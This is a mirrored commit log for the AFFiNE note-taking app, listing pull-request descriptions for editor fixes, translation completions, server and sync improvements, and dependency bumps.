mirror of
https://github.com/toeverything/AFFiNE.git
synced 2026-11-20 21:23:37 +03:00
canary
11579
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
a2dbbec72b |
fix(editor): keep select all in the equation editor on Firefox (#15858)
Fixes #15643 ## Problem In Firefox, pressing Ctrl+A in the LaTeX editor popup (inline equation or equation block) selects the formula for a moment, then the selection disappears. After that, typing has no effect. Chromium works. Two things go wrong on Firefox: 1. **The select-all is dropped.** Firefox places the native select-all range on the inline root rather than on text nodes. The editor's range sync (`RangeBinding._onNativeSelectionChanged`) removes ranges whose endpoints aren't inside a `v-text`. Table and database cells already handle `Mod+A` themselves with `inlineEditor.selectAll()`, but the popup didn't. 2. **Input over a full selection goes to the end.** Even with a proper selection, Firefox's `beforeinput` `getTargetRanges()` starts at the inline root (for example `DIV[data-v-root]@2`, just before the `v-line`). That point resolves to the end of the text. `EventService._onBeforeInput` then lets the target range replace the native one, so `a+b=c` + `x` became `a+b=cx` instead of `x`, and Backspace did nothing. ## Fix - `LatexEditorMenu` handles `Mod+A` with `inlineEditor.selectAll()` and stops the event, the same way `table-cell.ts` and the database cell renderers do. - `EventService._onBeforeInput` uses the target range only when the native selection is collapsed. A non-collapsed selection is exactly what the input replaces. Target ranges are still used for collapsed selections, e.g. word deletion and the embed/empty-line case above it. ## Testing - New unit test in `event-beforeinput.unit.spec.ts`. It selects the whole text and feeds a Firefox-shaped target range that starts at the inline root. - Without the `event.ts` change it fails with `expected 'a+b=cx' to be 'x'`, the same result as in Firefox. - With the change it passes. - `yarn vitest run` in `blocksuite/framework/std`: 12 files, 102 tests pass. - `oxlint --deny-warnings` and `oxfmt --check` pass on the changed files, and `tsc -b blocksuite/affine/inlines/latex/tsconfig.json` passes. - I couldn't run a patched build in Firefox. Instead I checked both changes in Firefox and Chromium (Playwright, headless) on app.affine.pro, using a guest doc and injecting equivalent handlers into the page. With both changes, Ctrl+A in the inline equation editor keeps `a+b=c` selected, typing `x` gives `x`, and Backspace clears it. Without them, Firefox shows the bug described in the issue. <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **Bug Fixes** * Select-all now works in the LaTeX editor with the platform’s standard keyboard shortcut. * Fixed text replacement after selecting all, including cases where the browser reports the selection from the start of the editor. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
6ce486b2b8 |
fix(i18n): complete and correct Turkish translations (#15868)
## Description
Complete the Turkish catalog with all 288 entries missing from the
current English resources, covering AI tools, sync/storage warnings,
BYOK, MCP credentials, device sessions and server errors. Correct 55
existing translations, including the missing SSRF `{{reason}}`, reversed
frame-link wording, the omitted snapshot export action, and inconsistent
Edgeless/seat/token terminology. Preserve BlockSuite as a product name
and update Turkish completeness from 90 to 100.
### Validation
- All 2,622 English keys have Turkish translations; four existing legacy
keys are preserved.
- Interpolation variables and rich-text tags match English for every
source key.
- All source keys resolve and interpolate with i18next 25.0.0; SSRF
reasons, MCP validity dates and AI action counts were exercised.
- JSON parsing, duplicate-key checks, `oxfmt` 0.63.0 on both changed
files and `git diff --check` pass.
- Follow-up validation used Node 22.23.4 and Yarn 4.18.0. Full `yarn
install --immutable` fetched 2,620 packages but failed during linking
with ENOSPC on the 7.9 GB workspace. A focused `yarn workspaces focus
@affine/i18n` installation succeeded.
- Full lint remains blocked by missing root ESLint plugins
(`eslint-plugin-import-x`) in the focused installation. Package
TypeScript checking was attempted with the installed TypeScript compiler
and reports missing `affine__env` definitions. These checks are not
claimed as passing. No full application build was run.
Prepared with OpenAI Codex; translations and diff reviewed against the
English catalog.
## Checklist
- [x] I have signed the [AFFiNE Contributor License
Agreement](https://cla-assistant.io/toeverything/AFFiNE) — CLA status to
be verified by the repository check.
- [x] The PR targets `canary` and its title follows Conventional
Commits.
- [x] Tests are added or updated where it makes sense — locale
validation and runtime checks performed as described above; no
application code changed.
- [ ] `yarn lint` and `yarn typecheck` pass locally — blocked by
incomplete monorepo dependencies as described above.
- [x] AI-generated edits have been carefully reviewed for scope and
correctness.
- [x] I agree that maintainers may close the PR without discussion if
they consider the code quality to be too low.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->
## Summary by CodeRabbit
* **Localization**
* Expanded Turkish translations across AI chat, search, synchronization,
account, workspace, subscription, and import experiences.
* Added localized messages for provider and model settings, credentials,
device sessions, connection issues, and empty explorer views.
* Updated terminology and clarified several error messages.
* Turkish translation coverage is now complete.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
|
||
|
|
15bcb880c9 | chore: bump version (#15873) | ||
|
|
dc2b221244 |
fix(editor): resolve doc title with references (#15865)
fix #15850 #### PR Dependency Tree * **PR #15865** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **New Features** * Search results now include database rows that reference matching documents, showing the referenced document’s current title. * Linked-document titles appear consistently in database title and rich-text values, including after a title changes. * Search includes ordinary text matches alongside linked-document references and supports retrieving additional results. * **Bug Fixes** * Rows referencing unavailable documents are not presented as linked-title matches. * If linked-row lookup fails, ordinary document search results remain available. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v2026.11.18-canary.905 |
||
|
|
0d594345a3 |
fix(core): sync indicator style (#15863)
#### PR Dependency Tree * **PR #15863** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **Bug Fixes** * The notification menu item no longer displays an active state solely because the notification list is open; opening and closing the list works as before. * **Style** * Refined the layout of the workspace sync-status button while preserving its existing label and appearance details. The status content now has more consistent spacing and alignment within the workspace card. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v2026.11.17-canary.905 |
||
|
|
d863bfcd67 | feat(server): bump model version (#15864) | ||
|
|
66bca643da | fix: sync compatibility v0.27.5-beta.3 | ||
|
|
c471cfc9a5 |
feat(core): improve sync protocol (#15854)
#### PR Dependency Tree * **PR #15854** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **New Features** * Added workspace document lifecycle tracking, including trashed and deleted states, with migration support. * Added workspace inventory syncing and state refresh across cloud and local storage, improving document discovery and offline synchronization. * Added clearer messages for invalid or oversized document updates and temporarily unavailable sync or validation. * Added paused-upload diagnostics and a Quick Export shortcut for relevant workspace sync issues. * **Improvements** * Search, indexing, and document metadata now reflect workspace inventory and lifecycle state. * Restoring from history preserves concurrent edits made during recovery. * Unused-blob checks now scan document content and detect changes during scanning. * **Bug Fixes** * Invalid document updates are rejected without partially saving a batch. * Document reading handles missing or cyclic block relationships more reliably. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
9c61550279 | feat(server): cleanup embedding after workspace deleted (#15851) v2026.11.13-canary.905 | ||
|
|
e2767cb271 | chore: cleanup codes v2026.11.11-canary.905 | ||
|
|
5aa30aa7fa |
fix(server): image process error handle (#15820)
#### PR Dependency Tree * **PR #15820** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **Bug Fixes** * Improved image handling in AI conversations: supported images are resized and sent as WebP, with transparency preserved. * Image attachments that can’t be loaded or encoded now report an error instead of being silently omitted. * Invalid image uploads now receive clearer error messages, while unrelated processing errors retain their original details. * Copilot message errors now surface more directly, while missing or inaccessible sessions continue to be reported as unavailable. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v2026.11.10-canary.1049 |
||
|
|
63297bca34 |
feat(server): improve copilot module (#15817)
#### PR Dependency Tree * **PR #15817** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **New Features** * Added managed Copilot model routing with route choices and defaults based on available configuration. * Expanded model routing support to include OpenRouter and additional request formats. * Route options are now available for self-hosted deployments when configured targets support them. * **Bug Fixes** * Added clearer errors when a selected Copilot target is unavailable. * Improved configuration migration behavior to preserve custom model profiles and legacy credentials. * Cloud deployments now receive a clear configuration error when attempting to set Copilot provider profiles. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v2026.11.10-canary.905 |
||
|
|
9c316636e0 |
fix(server): discover CalDAV principals with PROPFIND (#15811)
fix #15482 #### PR Dependency Tree * **PR #15811** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **Bug Fixes** * Improved CalDAV account setup across server configurations, including servers that redirect discovery requests or use relative calendar links. * CalDAV connection errors for unauthorized or forbidden access are now surfaced without attempting fallback requests. * Calendar and event retrieval continues to work across supported discovery scenarios. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v2026.11.9-canary.907 |
||
|
|
b4539cee35 |
feat(core): add Radix DirectionProvider for RTL support (#15214)
## What Mounts a `DirectionProvider` in `AffineContext` that feeds the current language's text direction to all Radix UI primitives. Adds an `rtl` flag to `LanguageInfo` (from `SUPPORTED_LANGUAGES`), with a colocated unit test. Part of #8966. ## Why Radix primitives read direction from React context, not from the document `dir` attribute. Since #14624, `document.documentElement.dir` correctly flips to `rtl` for Arabic/Persian/Urdu — but every Radix dropdown, popover and menu still hard-renders LTR internally. ## Notes for reviewers - `@radix-ui/react-direction` is pinned to the exact version the other Radix primitives resolve (`1.1.1`), not a caret range. A caret range resolves to a newer duplicate module copy, which means a different React context object — the primitives would silently ignore the provider. Verified at runtime both ways. - Portaled Radix content preserves React context, so portaled popovers inherit direction too. ## Testing - `yarn typecheck`, `yarn vitest run packages/frontend/core/src/modules/i18n` (3 tests) pass. - Verified in the running web app (Playwright + manual): with language set to العربية, the workspace selector popover and menus render `dir="rtl"`; English UI unaffected. |
||
|
|
1433ac7b35 |
fix(editor): malformed database cells at the read boundary (#15809)
fix #15746 #### PR Dependency Tree * **PR #15809** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **Bug Fixes** * Database cells with values that don’t match their property type now display the property’s default value instead of appearing empty or undefined. Valid values continue to display as before, and the stored cell value is not changed. This provides a more consistent display for affected cells while preserving existing behavior for valid data. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
a2d15841a5 |
fix(editor): handle empty column names in kanban view (#15807)
## Description Allows columns and tags with empty or whitespace names to remain visible and clickable in Kanban and Table views. - Display fallback `"Untitled"` label and placeholder when tag name is empty or whitespace. - Set minimum height on `SelectGroupView` tag pill to prevent height collapse. - Add unit test verifying fallback rendering. <img width="519" height="633" alt="image" src="https://github.com/user-attachments/assets/1fed7a72-5154-4dcb-a5f8-a7c6f6ac132f" /> Closes #15805 |
||
|
|
4ac16368e6 |
fix(core): keep fractional index keys below the next key (#15709)
## Description
`generateFractionalIndexingKeyBetween(a, b)` can return a key that sorts
after `b`.
When the subkeys of `a` and `b` share a prefix, the key is built as
`generateKeyBetween(a, b) + '0' + postfix()`. If `b` itself starts with
`generateKeyBetween(a, b) + '0'`, the order against `b` is decided by
the random postfix. For example, with `a =
Zz0KDAn9nhfbtFAOnyTqT45wXkV4SGW7XBh` and `b =
Zz10c5IY1TbnCK75NE22mfQEp2rpu6q1n6Z7`, `generateKeyBetween(a, b)` is
`Zz1` and the returned key was `Zz10UESACG9CHEXJNxgEDqhyCILR7N91EmcV`,
which is greater than `b`.
This is easy to reach from the UI helpers: `FolderNode.indexAt('after',
firstId)`, the favorites list, pinned collections, workspace properties
and table rows/columns all call it with their neighbours and sort with a
plain string compare. Starting from an empty list, adding one item
before the first and then repeatedly inserting right after the first
item breaks the order in 1000 out of 1000 runs within 20 inserts; the
inserted item ends up after its intended next neighbour.
The fix keeps stepping towards `b` with `generateKeyBetween(key, b)`
while `b` still starts with `key + '0'`, so the appended postfix can no
longer push the key past `b`. Each step lengthens the shared prefix with
`b`, so the loop ends. Both copies of the helper (`@toeverything/infra`
and `@blocksuite/affine-shared`) get the same change.
Proof: the added tests in `fractional-indexing.spec.ts` and
`fractional-indexing.unit.spec.ts` insert right after the first key 50
times, 100 rounds each. Before the fix both fail (`key < b` is false);
after, both pass across 5 reruns. I also fuzzed 1500 sequences of 200
inserts with mixed insertion strategies: 677 ordering violations before,
0 after, no throws.
v2026.11.8-canary.830
|
||
|
|
2e0f1156dd |
fix(editor): keep numbered list start number in markdown and html export (#15726)
## Description Closes #14098 When a numbered list doesn't start at 1 (for example it picks up at 3 after a paragraph or a code block), AFFiNE keeps that number in the list block's `order` prop. Importing markdown/html already reads the list's start number into `order`, but the markdown and html exporters never wrote it back, so the exported list always restarted at 1. This sets `start` on the exported markdown list / `<ol>` from the first item's `order` when it's above 1. Lists that start at 1, or older blocks without `order`, export exactly as before. I added a test for each exporter; the markdown one is the reverse of the existing "non consecutive numbered list" import test. PDF export already used `order`, so it wasn't affected. |
||
|
|
0276a74cb9 |
fix(journal): prefer the tighter match when suggesting week dates (#15768)
## Description `@next sa` gives me Next Sunday, same with `@last sa`. Saturday never shows up. The week loop returns the first alias that fuzzy-matches, and `nextsunday` is checked before `nextsaturday`. Since `fuzzyMatch` accepts any subsequence, `nextsa` finds an `s` and then an `a` inside "sunday" and stops there. Now it ranks the candidates instead of short-circuiting. A contiguous run beats a scattered subsequence, and month names compete on the same score, so `@no` reaches November instead of Next Monday. Ties keep the old order, so `@ns` still gives Next Sunday and `@nxtus` still gives Next Tuesday. Tests in `suggest-date.spec.ts`. The saturday cases and the november case fail on canary without the change. fix #15745 <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **New Features** * Journal date suggestions now rank fuzzy matches, favoring prefixes over contiguous and subsequence matches. * Month matches can take precedence over weaker weekday matches. When suggestions tie, the earlier candidate is retained; for the tested query, this selects next Sunday. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
3ecd57ac3b |
fix(client): restore realtime subscriptions once per connection (#15803)
fix #15576 #### PR Dependency Tree * **PR #15803** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **Bug Fixes** * Improved reliability of real-time subscriptions during disconnects, reconnects, context changes, and concurrent requests. * Subscription updates are now routed to the matching topic and input, and canceled subscriptions are handled without disrupting other active subscriptions. * User-profile requests can resume after a disconnect and reconnect. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
a37334a150 | feat(server): improve order sync (#15802) | ||
|
|
ef401b20cb |
chore: bump up apple/swift-collections version to from: "1.7.5" (#15778)
This PR contains the following updates: | Package | Update | Change | |---|---|---| | [apple/swift-collections](https://redirect.github.com/apple/swift-collections) | patch | `from: "1.7.4"` → `from: "1.7.5"` | --- ### Release Notes <details> <summary>apple/swift-collections</summary> ### [`v1.7.5`](https://redirect.github.com/apple/swift-collections/releases/tag/1.7.5): Swift Collections 1.7.5 [Compare Source](https://redirect.github.com/apple/swift-collections/compare/1.7.4...1.7.5) #### What's Changed - \[OrderedCollections] Resolve filename ambiguity with InternalCollectionsUtilities/UnsafeBitSet/\_UnsafeBitSet.swift by [@​lorentey](https://redirect.github.com/lorentey) in [#​805](https://redirect.github.com/apple/swift-collections/pull/805) - Bump swiftlang/github-workflows from 0.0.16 to 0.0.17 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​802](https://redirect.github.com/apple/swift-collections/pull/802) - Bump swiftlang/github-workflows/.github/workflows/swift_package_test.yml from 0.0.16 to 0.0.17 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​803](https://redirect.github.com/apple/swift-collections/pull/803) - Bump swiftlang/github-workflows/.github/workflows/soundness.yml from 0.0.16 to 0.0.17 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​804](https://redirect.github.com/apple/swift-collections/pull/804) - Document standalone macOS backdeployment requirements by [@​0xSixtos](https://redirect.github.com/0xSixtos) in [#​800](https://redirect.github.com/apple/swift-collections/pull/800) - \[DequeModule] Fix RigidDeque prepend example capacity and direction-word slips by [@​aashish254](https://redirect.github.com/aashish254) in [#​801](https://redirect.github.com/apple/swift-collections/pull/801) - Fix prepend(copying:) dropping items from multi-span sources by [@​awaisdev5765](https://redirect.github.com/awaisdev5765) in [#​796](https://redirect.github.com/apple/swift-collections/pull/796) - Review RigidDeque/UniqueDeque tests; add better tests for prepends by [@​lorentey](https://redirect.github.com/lorentey) in [#​806](https://redirect.github.com/apple/swift-collections/pull/806) #### New Contributors - [@​0xSixtos](https://redirect.github.com/0xSixtos) made their first contribution in [#​800](https://redirect.github.com/apple/swift-collections/pull/800) - [@​awaisdev5765](https://redirect.github.com/awaisdev5765) made their first contribution in [#​796](https://redirect.github.com/apple/swift-collections/pull/796) **Full Changelog**: <https://github.com/apple/swift-collections/compare/1.7.4...1.7.5> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODguMiIsInVwZGF0ZWRJblZlciI6IjQ0LjE4OC4yIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>v2026.11.7-canary.904 |
||
|
|
6b19f1c51b |
chore: bump image model support (#15798)
#### PR Dependency Tree * **PR #15798** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **New Features** * Image generation and the clay, sketch, anime, pixel, sticker, upscale, and background-removal actions now use an updated image model. Existing prompts and settings remain unchanged. * **Changes** * The OpenAI model `gpt-image-1` is no longer listed in the model catalog. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
b2c882c8de |
fix(core): retain chat drafts until runtime accepts the send (#15796)
fix #15708 #### PR Dependency Tree * **PR #15796** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **Bug Fixes** * Draft text and attachments are preserved when a message cannot be sent, including when preparation fails or another send is in progress. * After a send is accepted, submitted text and context are cleared while edits and attachments made during preparation are retained. * Draft updates are saved in order, and later edits continue to be saved even if an earlier save is delayed or fails. * Sending now waits for the chat to be ready, helping prevent input from being lost when a send cannot proceed. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
0e0f26f06b |
fix(mobile): doc visible loading (#15797)
fix #15774 fix #15707 #### PR Dependency Tree * **PR #15797** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **Bug Fixes** * Improved permission handling for mobile navigation. Linked documents are shown only when the user has read access, and denied access is handled consistently. * Document permissions are revalidated and reused across navigation views, reducing repeated checks. * Owners wait for document indexing before navigation references begin loading; users without access do not start that work. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
4db3ac8d6b |
fix(server): doc parse cycle (#15794)
#### PR Dependency Tree * **PR #15794** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **Bug Fixes** * Improved search reliability when documents are changing, including more consistent handling of invalid or incomplete document data. * Prevented overlapping scheduled search updates, helping keep background processing consistent. * Improved coordination between search projections and payment processing when both operate on document snapshots. * Search processing now better isolates failures, helping other documents continue to be processed and allowing recovery after source data changes. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
e1261c40bf | chore: bump deps (#15795) | ||
|
|
8bbbfcf078 |
fix(native): recover refresh attempts after response loss (#15792)
fix #15654 fix #15551 #### PR Dependency Tree * **PR #15792** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **New Features** * Session refreshes can now recover from interrupted requests using the same refresh attempt, including after an app restart. * **Bug Fixes** * Retrying a successful refresh no longer unnecessarily rotates tokens or invalidates the session. Invalid or mismatched retries continue to be rejected, while expired credentials are handled without revoking an otherwise valid session. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
3b41302757 |
fix(editor): preserve canvas input ownership in table selection (#15791)
fix #15770 fix #15605 #### PR Dependency Tree * **PR #15791** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **Bug Fixes** * Text insertion at the end of a table cell now produces the expected cell content while keeping the table selection consistent. * Selecting and clearing a table column no longer changes an unrelated canvas selection in edgeless mode. In page mode, clearing the column selection leaves the graphics selection empty. * These selection behaviors are verified in both page and edgeless modes. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
91ac3ca384 |
fix(editor): prevent code menu switches from toggling twice (#15782)
fix #15706 fix #15336 fix #15760 fix #15314 #### PR Dependency Tree * **PR #15782** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **Bug Fixes** * Fixed the code block’s wrap and line-number switches so their displayed states stay in sync with the selected settings. * Clicking a switch’s label or control now applies the setting consistently, and the menu remains open while toggling. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
149629dee8 |
fix(native): missing update date for doc (#15783)
fix #15466 fix #15467 #### PR Dependency Tree * **PR #15783** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) |
||
|
|
b2200d4b67 |
chore(i18n): complete zh-Hans translations for 0.27 (#15776)
### What changed
Adds the missing `zh-Hans` translations so the locale fully covers
`en.json`.
### Coverage
- Before: 2450 / 2604 keys
- After: 2604 / 2604 keys (100%)
### Areas covered
- AI BYOK settings: connect provider, model catalog, API dialect,
connection test, probe status
- Devices management: sign out, last used, load/sign-out failures
- Real-time connection errors (auth / network / server / timeout)
- Auth, Copilot and search error codes
- Mobile settings screens: account & data, experimental, plans, support,
empty states
- Invitation account-mismatch flow
- AI chat panel live-editor status lines, code block line numbers,
journal placeholder
### Notes
- Terminology follows the existing file: provider -> 服务商, sign out ->
登出, collection -> 集合, attachment -> 附件, workspace -> 工作区.
- Placeholders (`{{count}}`, `{{title}}`, `{{email}}`, `{{spaceId}}`)
are preserved.
- `zh-Hans.json` still carries 4 keys that no longer exist in `en.json`
(`com.affine.settings.workspace.byok.title-beta`,
`error.COPILOT_CONTEXT_FILE_NOT_SUPPORTED`,
`error.COPILOT_FAILED_TO_ADD_WORKSPACE_FILE_EMBEDDING`,
`error.COPILOT_FAILED_TO_MATCH_GLOBAL_CONTEXT`).
Left untouched to keep this diff focused; happy to remove them in a
follow-up.
- JSON validated; key parity with `en.json` re-checked after the edit.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->
## Summary by CodeRabbit
* **Localization**
* Added Simplified Chinese translations for AI chat tools, source
errors, authentication and sync messages, Copilot and search errors,
realtime connection failures, and invitation account mismatches.
* Expanded translations for Journal and mobile settings, account
deletion confirmation, code-block line-number preferences, BYOK model
and connection settings, device management, and mobile explorer empty
states.
* Kept the existing translation for comment-attachment quota errors.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
|
||
|
|
8cef09e1dd |
fix(client): windows static link (#15753)
fix #15728v2026.10.27-canary.909 |
||
|
|
fa653147d9 |
fix(server): accept custom-scheme referers in the worker endpoints (#15748)
## Description
`isRefererAllowed` compares `new URL(referer).origin`. For non-special
schemes that is the opaque string `"null"`:
```js
new URL('assets://./').origin // 'null'
new URL('capacitor://localhost/').origin // 'null'
new URL('file:///index.html').origin // 'null'
```
So a `Referer` coming from the desktop (`assets://.`), mobile
(`capacitor://localhost`) or legacy (`file://`) clients can never match
the allowed origins, although the same origins are accepted when they
arrive in an `Origin` header (`DESKTOP_CLIENT_ORIGINS` /
`MOBILE_CLIENT_ORIGINS`, merged into the worker's list since #15547).
Requests that carry only a `Referer`, such as `<img
src=".../api/worker/image-proxy?...">` loads, are rejected with `400
Invalid header`.
This serializes such origins as `protocol//host`, which is how a browser
writes them in an `Origin` header. http(s) referers are unchanged.
Refs #14865 (the `Origin` half of that issue is already fixed on
canary).
## Testing
- Added `plugins/worker/__tests__/headers.spec.ts`: http(s) referers,
custom-scheme referers from the list, custom-scheme referers not in the
list, invalid input.
- I could not run the full `ava` suite locally. The function was checked
in isolation with Node on the same cases (9/9).
## Not included
Allowing `image-proxy` requests that have neither `Origin` nor `Referer`
(bug 3 in #14865). That loosens the check and I could not confirm what
the Electron `<img>` loads actually send.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->
## Summary by CodeRabbit
* **Bug Fixes**
* Referer checks now correctly recognize allowed client origins using
custom URL schemes, alongside allowed HTTP and HTTPS origins. Unlisted
origins and invalid URLs continue to be rejected, helping ensure
requests from supported clients are handled consistently without
broadening access to unapproved origins.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
|
||
|
|
fa809e861b |
fix(client): auto-detect Linux password store before app ready (#15450)
## Summary - Detect Linux desktop/session environments before Electron app readiness and set a secure `--password-store` backend when Electron would otherwise miss it. - Prefer `gnome-libsecret` for GNOME-compatible desktops and common tiling/window-manager sessions that often run libsecret/gnome-keyring. - Prefer the appropriate KWallet backend for KDE/Plasma sessions, including KDE 5/6 detection, while respecting any user-provided `--password-store` flag. - Add unit coverage for Linux/non-Linux behavior, existing user flags, GNOME/libsecret desktops, tiling WMs, KDE/Plasma KWallet variants, colon-separated desktop values, and fallback session variables. ## Test plan - [x] `yarn vitest packages/frontend/apps/electron/test/main/secure-storage.spec.ts` - [x] Electron main-process related tests were run; relevant tests passed, with unrelated existing failures noted in `recording-feature.spec.ts`. - [x] Prettier, oxlint, eslint, and TypeScript checks passed for the modified Electron files. Closes: #15301 <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Improved secure password-store selection on Linux. * Added support for KDE/Plasma and GNOME-compatible desktop environments. * Preserves manually configured password-store settings and selects an appropriate fallback when needed. * **Tests** * Added coverage for Linux desktop detection, fallback behavior, session variations, and non-Linux environments. <!-- end of auto-generated comment: release notes by coderabbit.ai --> --------- Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com> Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com> Co-authored-by: donqu1xotevincent <vincent@toeverything.info> |
||
|
|
80e1c26815 |
fix(client): add aarch64 linux release (#15752)
fix #13701 #### PR Dependency Tree * **PR #15752** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **New Features** * Linux ARM64 builds on ARM64 hosts now use the native build path. * **Bug Fixes** * Improved updater handling of Linux ARM64 installer filenames so platform and architecture filtering can be verified for those packages. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
21e07b6635 |
fix(client): glibc version & linux secret store (#15751)
fix #15732 fix #15750 fix #15548 #### PR Dependency Tree * **PR #15751** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) |
||
|
|
83064df258 | fix(server): search table lock (#15749) | ||
|
|
5f19254997 |
chore: bump up apple/swift-collections version to from: "1.7.4" (#15741)
